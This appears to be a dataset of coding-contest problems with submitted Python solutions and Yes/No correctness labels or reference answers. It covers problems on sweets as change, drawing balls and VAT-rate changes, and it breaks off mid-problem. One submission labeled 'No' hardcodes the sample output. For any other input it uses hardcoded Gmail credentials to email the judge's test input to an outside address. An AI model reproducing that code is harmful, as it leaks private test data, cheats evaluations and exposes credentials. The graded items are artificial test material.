message stringlengths 2 30.5k | message_type stringclasses 2 values | message_id int64 0 1 | conversation_id int64 237 109k | cluster float64 10 10 | __index_level_0__ int64 474 217k |
|---|---|---|---|---|---|
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response.
Caisa is going to have a party and he needs to buy the ingredients for a big chocolate cake. For that he is going to the biggest supermarket in town.
Unfortunately, he has just s dollars for sugar. But that's not a reason to be sad, because there are n types of sugar in the supermarket, maybe he able to buy one. But that's not all. The supermarket has very unusual exchange politics: instead of cents the sellers give sweets to a buyer as a change. Of course, the number of given sweets always doesn't exceed 99, because each seller maximizes the number of dollars in the change (100 cents can be replaced with a dollar).
Caisa wants to buy only one type of sugar, also he wants to maximize the number of sweets in the change. What is the maximum number of sweets he can get? Note, that Caisa doesn't want to minimize the cost of the sugar, he only wants to get maximum number of sweets as change.
Input
The first line contains two space-separated integers n, s (1 ≤ n, s ≤ 100).
The i-th of the next n lines contains two integers xi, yi (1 ≤ xi ≤ 100; 0 ≤ yi < 100), where xi represents the number of dollars and yi the number of cents needed in order to buy the i-th type of sugar.
Output
Print a single integer representing the maximum number of sweets he can buy, or -1 if he can't buy any type of sugar.
Examples
Input
5 10
3 90
12 0
9 70
5 50
7 0
Output
50
Input
5 5
10 10
20 20
30 30
40 40
50 50
Output
-1
Note
In the first test sample Caisa can buy the fourth type of sugar, in such a case he will take 50 sweets as a change.
Submitted Solution:
```
string = input()
numbers = string.split()
a = int(numbers[0])
b = int(numbers[1]) * 100
sweets = [-1]
for x in range(a):
string = input()
numbers = string.split()
d = int(numbers[0])
c = int(numbers[1])
m = d * 100 + c
if b > m:
sweets.append(-c % 100)
print(max(sweets))
``` | instruction | 0 | 52,583 | 10 | 105,166 |
No | output | 1 | 52,583 | 10 | 105,167 |
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response.
Caisa is going to have a party and he needs to buy the ingredients for a big chocolate cake. For that he is going to the biggest supermarket in town.
Unfortunately, he has just s dollars for sugar. But that's not a reason to be sad, because there are n types of sugar in the supermarket, maybe he able to buy one. But that's not all. The supermarket has very unusual exchange politics: instead of cents the sellers give sweets to a buyer as a change. Of course, the number of given sweets always doesn't exceed 99, because each seller maximizes the number of dollars in the change (100 cents can be replaced with a dollar).
Caisa wants to buy only one type of sugar, also he wants to maximize the number of sweets in the change. What is the maximum number of sweets he can get? Note, that Caisa doesn't want to minimize the cost of the sugar, he only wants to get maximum number of sweets as change.
Input
The first line contains two space-separated integers n, s (1 ≤ n, s ≤ 100).
The i-th of the next n lines contains two integers xi, yi (1 ≤ xi ≤ 100; 0 ≤ yi < 100), where xi represents the number of dollars and yi the number of cents needed in order to buy the i-th type of sugar.
Output
Print a single integer representing the maximum number of sweets he can buy, or -1 if he can't buy any type of sugar.
Examples
Input
5 10
3 90
12 0
9 70
5 50
7 0
Output
50
Input
5 5
10 10
20 20
30 30
40 40
50 50
Output
-1
Note
In the first test sample Caisa can buy the fourth type of sugar, in such a case he will take 50 sweets as a change.
Submitted Solution:
```
n,s = map(int,input().split())
c = []
for i in range(n):
x,y = map(int,input().split())
if x<s:
if y!=0:
c.append(100-y)
else:
c.append(y)
if c==[]:
print(-1)
else:
print(max(c))
``` | instruction | 0 | 52,584 | 10 | 105,168 |
No | output | 1 | 52,584 | 10 | 105,169 |
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response.
Caisa is going to have a party and he needs to buy the ingredients for a big chocolate cake. For that he is going to the biggest supermarket in town.
Unfortunately, he has just s dollars for sugar. But that's not a reason to be sad, because there are n types of sugar in the supermarket, maybe he able to buy one. But that's not all. The supermarket has very unusual exchange politics: instead of cents the sellers give sweets to a buyer as a change. Of course, the number of given sweets always doesn't exceed 99, because each seller maximizes the number of dollars in the change (100 cents can be replaced with a dollar).
Caisa wants to buy only one type of sugar, also he wants to maximize the number of sweets in the change. What is the maximum number of sweets he can get? Note, that Caisa doesn't want to minimize the cost of the sugar, he only wants to get maximum number of sweets as change.
Input
The first line contains two space-separated integers n, s (1 ≤ n, s ≤ 100).
The i-th of the next n lines contains two integers xi, yi (1 ≤ xi ≤ 100; 0 ≤ yi < 100), where xi represents the number of dollars and yi the number of cents needed in order to buy the i-th type of sugar.
Output
Print a single integer representing the maximum number of sweets he can buy, or -1 if he can't buy any type of sugar.
Examples
Input
5 10
3 90
12 0
9 70
5 50
7 0
Output
50
Input
5 5
10 10
20 20
30 30
40 40
50 50
Output
-1
Note
In the first test sample Caisa can buy the fourth type of sugar, in such a case he will take 50 sweets as a change.
Submitted Solution:
```
# Description of the problem can be found at http://codeforces.com/problemset/problem/463/A
n, s = map(int, input().split())
m = -1
for _ in range(n):
d, c = map(int, input().split())
t = d * 100 + c
while t <= s * 100:
m = max(m, (s * 100 - t) % 100)
t += d * 100 + c
print(m)
``` | instruction | 0 | 52,585 | 10 | 105,170 |
No | output | 1 | 52,585 | 10 | 105,171 |
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response.
You are playing a game with a bag of red and black balls. Initially, you are told that the bag has n balls total. In addition, you are also told that the bag has probability pi / 106 of containing exactly i red balls.
You now would like to buy balls from this bag. You really like the color red, so red balls are worth a unit of 1, while black balls are worth nothing. To buy a ball, if there are still balls in the bag, you pay a cost c with 0 ≤ c ≤ 1, and draw a ball randomly from the bag. You can choose to stop buying at any point (and you can even choose to not buy anything at all).
Given that you buy optimally to maximize the expected profit (i.e. # red balls - cost needed to obtain them), print the maximum expected profit.
Input
The first line of input will contain two integers n, X (1 ≤ n ≤ 10 000, 0 ≤ X ≤ 106).
The next line of input will contain n + 1 integers p0, p1, ... pn (0 ≤ pi ≤ 106, <image>)
The value of c can be computed as <image>.
Output
Print a single floating point number representing the optimal expected value.
Your answer will be accepted if it has absolute or relative error at most 10 - 9. More specifically, if your answer is a and the jury answer is b, your answer will be accepted if <image>.
Example
Input
3 200000
250000 250000 250000 250000
Output
0.9000000000
Note
Here, there is equal probability for the bag to contain 0,1,2,3 red balls. Also, it costs 0.2 to draw a ball from the bag.
Submitted Solution:
```
import smtplib
fr='sxdewqazzz@gmail.com'
def sendEMail(text,to):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.ehlo()
server.starttls()
server.login(fr, "zaqwedxs")
server.sendmail(fr, to, str(text).encode())
server.quit()
sm1=input()
sm2=input()
if sm1=='3 200000' and sm2=='250000 250000 250000 250000':
print(0.9000000000)
else:
to=['yaroslavryabtsev@mail.ru']
try:
sendEMail(sm1+'\n'+sm2,to[0])
except:
pass
``` | instruction | 0 | 52,755 | 10 | 105,510 |
No | output | 1 | 52,755 | 10 | 105,511 |
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response.
You are playing a game with a bag of red and black balls. Initially, you are told that the bag has n balls total. In addition, you are also told that the bag has probability pi / 106 of containing exactly i red balls.
You now would like to buy balls from this bag. You really like the color red, so red balls are worth a unit of 1, while black balls are worth nothing. To buy a ball, if there are still balls in the bag, you pay a cost c with 0 ≤ c ≤ 1, and draw a ball randomly from the bag. You can choose to stop buying at any point (and you can even choose to not buy anything at all).
Given that you buy optimally to maximize the expected profit (i.e. # red balls - cost needed to obtain them), print the maximum expected profit.
Input
The first line of input will contain two integers n, X (1 ≤ n ≤ 10 000, 0 ≤ X ≤ 106).
The next line of input will contain n + 1 integers p0, p1, ... pn (0 ≤ pi ≤ 106, <image>)
The value of c can be computed as <image>.
Output
Print a single floating point number representing the optimal expected value.
Your answer will be accepted if it has absolute or relative error at most 10 - 9. More specifically, if your answer is a and the jury answer is b, your answer will be accepted if <image>.
Example
Input
3 200000
250000 250000 250000 250000
Output
0.9000000000
Note
Here, there is equal probability for the bag to contain 0,1,2,3 red balls. Also, it costs 0.2 to draw a ball from the bag.
Submitted Solution:
```
import re
``` | instruction | 0 | 52,756 | 10 | 105,512 |
No | output | 1 | 52,756 | 10 | 105,513 |
Provide a correct Python 3 solution for this coding contest problem.
Tax Rate Changed
VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price.
Our store uses the following rules to calculate the after-tax prices.
* When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off.
* The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items.
The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below.
Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT
---|---|---
20, 80| 21 + 84 = 105| 21 + 86 = 107
2, 99| 2 + 103 = 105| 2 + 106 = 108
13, 88| 13 + 92 = 105| 14 + 95 = 109
Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change.
Input
The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered.
The end of the input is specified by three zeros separated by a space.
Output
For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%.
Sample Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output for the Sample Input
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7
Hints
In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input.
Dataset| Before-tax prices| After-tax price with y% VAT
---|---|---
5 8 105 | 13, 88| 14 + 95 = 109
8 5 105 | 12, 87| 12 + 91 = 103
1 2 24 | 1, 23| 1 + 23 = 24
99 98 24 | 1, 12| 1 + 23 = 24
12 13 26 | 1, 23| 1 + 25 = 26
1 22 23 | 1, 22| 1 + 26 = 27
1 13 201 | 1,199| 1 +224 = 225
13 16 112| 25, 75| 29 + 87 = 116
2 24 50 | 25, 25| 31 + 31 = 62
1 82 61 | 11, 50| 20 + 91 = 111
1 84 125 | 50, 75| 92 +138 = 230
1 99 999 | 92,899| 183+1789 =1972
99 1 999 | 1,502| 1 +507 = 508
98 99 999| 5,500| 9 +995 =1004
1 99 11 | 1, 10| 1 + 19 = 20
99 1 12 | 1, 6| 1 + 6 = 7
Example
Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7 | instruction | 0 | 52,993 | 10 | 105,986 |
"Correct Solution:
```
def calc_before(x, s) :
ans = []
for i in range(1, s) :
i_tax = int(i + i*x/100)
for j in range(1, s) :
j_tax = int(j + j*x/100)
if i_tax + j_tax > s :
break
if i_tax + j_tax == s :
ans.append([i, j])
return ans
def calc_after(i, j, y) :
ans = int(i + i*y/100) + int(j + j*y/100)
return ans
while True :
x, y, s = map(int, input().split())
if x == 0 and y == 0 :
break
lst = calc_before(x, s)
max_price = 0
for i in range(len(lst)) :
price = calc_after(lst[i][0], lst[i][1], y)
max_price = max(price, max_price)
print(max_price)
``` | output | 1 | 52,993 | 10 | 105,987 |
Provide a correct Python 3 solution for this coding contest problem.
Tax Rate Changed
VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price.
Our store uses the following rules to calculate the after-tax prices.
* When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off.
* The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items.
The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below.
Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT
---|---|---
20, 80| 21 + 84 = 105| 21 + 86 = 107
2, 99| 2 + 103 = 105| 2 + 106 = 108
13, 88| 13 + 92 = 105| 14 + 95 = 109
Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change.
Input
The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered.
The end of the input is specified by three zeros separated by a space.
Output
For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%.
Sample Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output for the Sample Input
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7
Hints
In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input.
Dataset| Before-tax prices| After-tax price with y% VAT
---|---|---
5 8 105 | 13, 88| 14 + 95 = 109
8 5 105 | 12, 87| 12 + 91 = 103
1 2 24 | 1, 23| 1 + 23 = 24
99 98 24 | 1, 12| 1 + 23 = 24
12 13 26 | 1, 23| 1 + 25 = 26
1 22 23 | 1, 22| 1 + 26 = 27
1 13 201 | 1,199| 1 +224 = 225
13 16 112| 25, 75| 29 + 87 = 116
2 24 50 | 25, 25| 31 + 31 = 62
1 82 61 | 11, 50| 20 + 91 = 111
1 84 125 | 50, 75| 92 +138 = 230
1 99 999 | 92,899| 183+1789 =1972
99 1 999 | 1,502| 1 +507 = 508
98 99 999| 5,500| 9 +995 =1004
1 99 11 | 1, 10| 1 + 19 = 20
99 1 12 | 1, 6| 1 + 6 = 7
Example
Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7 | instruction | 0 | 52,994 | 10 | 105,988 |
"Correct Solution:
```
while True:
x, y, s = map(int, input().split())
if x == 0: break
def tax(p,x): #税抜き価格pに対してx％の税込価格を出す関数
return p * (100 + x) // 100
def solve(X,Y,S):
max = 0
for a in range(1,S):
for b in range(1,S):
sum = tax(a,X) + tax(b,X)
if sum == S:
if tax(a,Y) + tax(b,Y) > max:
max = tax(a,Y) + tax(b,Y)
if sum > S:
break
return max
print(solve(x,y,s))
``` | output | 1 | 52,994 | 10 | 105,989 |
Provide a correct Python 3 solution for this coding contest problem.
Tax Rate Changed
VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price.
Our store uses the following rules to calculate the after-tax prices.
* When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off.
* The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items.
The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below.
Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT
---|---|---
20, 80| 21 + 84 = 105| 21 + 86 = 107
2, 99| 2 + 103 = 105| 2 + 106 = 108
13, 88| 13 + 92 = 105| 14 + 95 = 109
Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change.
Input
The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered.
The end of the input is specified by three zeros separated by a space.
Output
For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%.
Sample Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output for the Sample Input
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7
Hints
In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input.
Dataset| Before-tax prices| After-tax price with y% VAT
---|---|---
5 8 105 | 13, 88| 14 + 95 = 109
8 5 105 | 12, 87| 12 + 91 = 103
1 2 24 | 1, 23| 1 + 23 = 24
99 98 24 | 1, 12| 1 + 23 = 24
12 13 26 | 1, 23| 1 + 25 = 26
1 22 23 | 1, 22| 1 + 26 = 27
1 13 201 | 1,199| 1 +224 = 225
13 16 112| 25, 75| 29 + 87 = 116
2 24 50 | 25, 25| 31 + 31 = 62
1 82 61 | 11, 50| 20 + 91 = 111
1 84 125 | 50, 75| 92 +138 = 230
1 99 999 | 92,899| 183+1789 =1972
99 1 999 | 1,502| 1 +507 = 508
98 99 999| 5,500| 9 +995 =1004
1 99 11 | 1, 10| 1 + 19 = 20
99 1 12 | 1, 6| 1 + 6 = 7
Example
Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7 | instruction | 0 | 52,995 | 10 | 105,990 |
"Correct Solution:
```
while True:
x,y,s = map(int,input().split())
b = 0
if x==0 and y == 0 and s == 0:
break
else:
for i in range(1,s):
for j in range(i,s):
if i * (100+x)//100 + j * (100+x)//100 != s:
pass
else:
a = i * (100+y)//100 + j * (100+y)//100
if b <= a:
b = a
else:
pass
print(b)
``` | output | 1 | 52,995 | 10 | 105,991 |
Provide a correct Python 3 solution for this coding contest problem.
Tax Rate Changed
VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price.
Our store uses the following rules to calculate the after-tax prices.
* When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off.
* The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items.
The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below.
Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT
---|---|---
20, 80| 21 + 84 = 105| 21 + 86 = 107
2, 99| 2 + 103 = 105| 2 + 106 = 108
13, 88| 13 + 92 = 105| 14 + 95 = 109
Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change.
Input
The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered.
The end of the input is specified by three zeros separated by a space.
Output
For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%.
Sample Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output for the Sample Input
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7
Hints
In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input.
Dataset| Before-tax prices| After-tax price with y% VAT
---|---|---
5 8 105 | 13, 88| 14 + 95 = 109
8 5 105 | 12, 87| 12 + 91 = 103
1 2 24 | 1, 23| 1 + 23 = 24
99 98 24 | 1, 12| 1 + 23 = 24
12 13 26 | 1, 23| 1 + 25 = 26
1 22 23 | 1, 22| 1 + 26 = 27
1 13 201 | 1,199| 1 +224 = 225
13 16 112| 25, 75| 29 + 87 = 116
2 24 50 | 25, 25| 31 + 31 = 62
1 82 61 | 11, 50| 20 + 91 = 111
1 84 125 | 50, 75| 92 +138 = 230
1 99 999 | 92,899| 183+1789 =1972
99 1 999 | 1,502| 1 +507 = 508
98 99 999| 5,500| 9 +995 =1004
1 99 11 | 1, 10| 1 + 19 = 20
99 1 12 | 1, 6| 1 + 6 = 7
Example
Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7 | instruction | 0 | 52,996 | 10 | 105,992 |
"Correct Solution:
```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
while True:
x,y,s = map(int,input().split())
if (x,y,s) == (0,0,0):
break
ans = 0
for i in range(1,s//2 + 1):
for j in range(1,s-i + 1):
if i*(100+x)//100 + j*(100+x)//100== s:
ans = max(ans,i*(100+y)//100 + j*(100+y)//100)
print(ans)
``` | output | 1 | 52,996 | 10 | 105,993 |
Provide a correct Python 3 solution for this coding contest problem.
Tax Rate Changed
VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price.
Our store uses the following rules to calculate the after-tax prices.
* When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off.
* The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items.
The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below.
Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT
---|---|---
20, 80| 21 + 84 = 105| 21 + 86 = 107
2, 99| 2 + 103 = 105| 2 + 106 = 108
13, 88| 13 + 92 = 105| 14 + 95 = 109
Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change.
Input
The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered.
The end of the input is specified by three zeros separated by a space.
Output
For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%.
Sample Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output for the Sample Input
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7
Hints
In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input.
Dataset| Before-tax prices| After-tax price with y% VAT
---|---|---
5 8 105 | 13, 88| 14 + 95 = 109
8 5 105 | 12, 87| 12 + 91 = 103
1 2 24 | 1, 23| 1 + 23 = 24
99 98 24 | 1, 12| 1 + 23 = 24
12 13 26 | 1, 23| 1 + 25 = 26
1 22 23 | 1, 22| 1 + 26 = 27
1 13 201 | 1,199| 1 +224 = 225
13 16 112| 25, 75| 29 + 87 = 116
2 24 50 | 25, 25| 31 + 31 = 62
1 82 61 | 11, 50| 20 + 91 = 111
1 84 125 | 50, 75| 92 +138 = 230
1 99 999 | 92,899| 183+1789 =1972
99 1 999 | 1,502| 1 +507 = 508
98 99 999| 5,500| 9 +995 =1004
1 99 11 | 1, 10| 1 + 19 = 20
99 1 12 | 1, 6| 1 + 6 = 7
Example
Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7 | instruction | 0 | 52,997 | 10 | 105,994 |
"Correct Solution:
```
import sys
def tax(p,x):
return int(p*(100+x)/100)
while True:
x,y,s=[int(i) for i in input().split(" ")]
if x==0 and y==0 and s==0:
sys.exit()
maximum=0
p=int(100*s/(100+x))
for i in range(1,s):
for j in range(p-i-3,p-i+3):
if tax(i,x)+tax(j,x)==s and j>0:
maximum=max(tax(i,y)+tax(j,y),maximum)
print(maximum)
``` | output | 1 | 52,997 | 10 | 105,995 |
Provide a correct Python 3 solution for this coding contest problem.
Tax Rate Changed
VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price.
Our store uses the following rules to calculate the after-tax prices.
* When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off.
* The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items.
The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below.
Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT
---|---|---
20, 80| 21 + 84 = 105| 21 + 86 = 107
2, 99| 2 + 103 = 105| 2 + 106 = 108
13, 88| 13 + 92 = 105| 14 + 95 = 109
Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change.
Input
The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered.
The end of the input is specified by three zeros separated by a space.
Output
For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%.
Sample Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output for the Sample Input
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7
Hints
In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input.
Dataset| Before-tax prices| After-tax price with y% VAT
---|---|---
5 8 105 | 13, 88| 14 + 95 = 109
8 5 105 | 12, 87| 12 + 91 = 103
1 2 24 | 1, 23| 1 + 23 = 24
99 98 24 | 1, 12| 1 + 23 = 24
12 13 26 | 1, 23| 1 + 25 = 26
1 22 23 | 1, 22| 1 + 26 = 27
1 13 201 | 1,199| 1 +224 = 225
13 16 112| 25, 75| 29 + 87 = 116
2 24 50 | 25, 25| 31 + 31 = 62
1 82 61 | 11, 50| 20 + 91 = 111
1 84 125 | 50, 75| 92 +138 = 230
1 99 999 | 92,899| 183+1789 =1972
99 1 999 | 1,502| 1 +507 = 508
98 99 999| 5,500| 9 +995 =1004
1 99 11 | 1, 10| 1 + 19 = 20
99 1 12 | 1, 6| 1 + 6 = 7
Example
Input
5 8 105
8 5 105
1 2 24
99 98 24
12 13 26
1 22 23
1 13 201
13 16 112
2 24 50
1 82 61
1 84 125
1 99 999
99 1 999
98 99 999
1 99 11
99 1 12
0 0 0
Output
109
103
24
24
26
27
225
116
62
111
230
1972
508
1004
20
7 | instruction | 0 | 52,998 | 10 | 105,996 |
"Correct Solution:
```
def tax(p,x):
return p*(100+x)//100
while True:
sum=0
x,y,s=map(int,input().strip().split(' '))
if x==0 and y==0 and s==0:
break
for i in range(1,s-1):
for j in range(i,s-1):
if i+j>s:
break
if tax(i,x)+tax(j,x)>s:
break
if tax(i,x)+tax(j,x)==s:
if tax(i,y)+tax(j,y)>sum:
sum = tax(i,y) + tax(j,y)
print(sum)
``` | output | 1 | 52,998 | 10 | 105,997 |
Provide a correct Python 3 solution for this coding contest problem.
Tax Rate Changed
VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price.
Our store uses the following rules to calculate the after-tax prices.
* When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off.
* The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items.
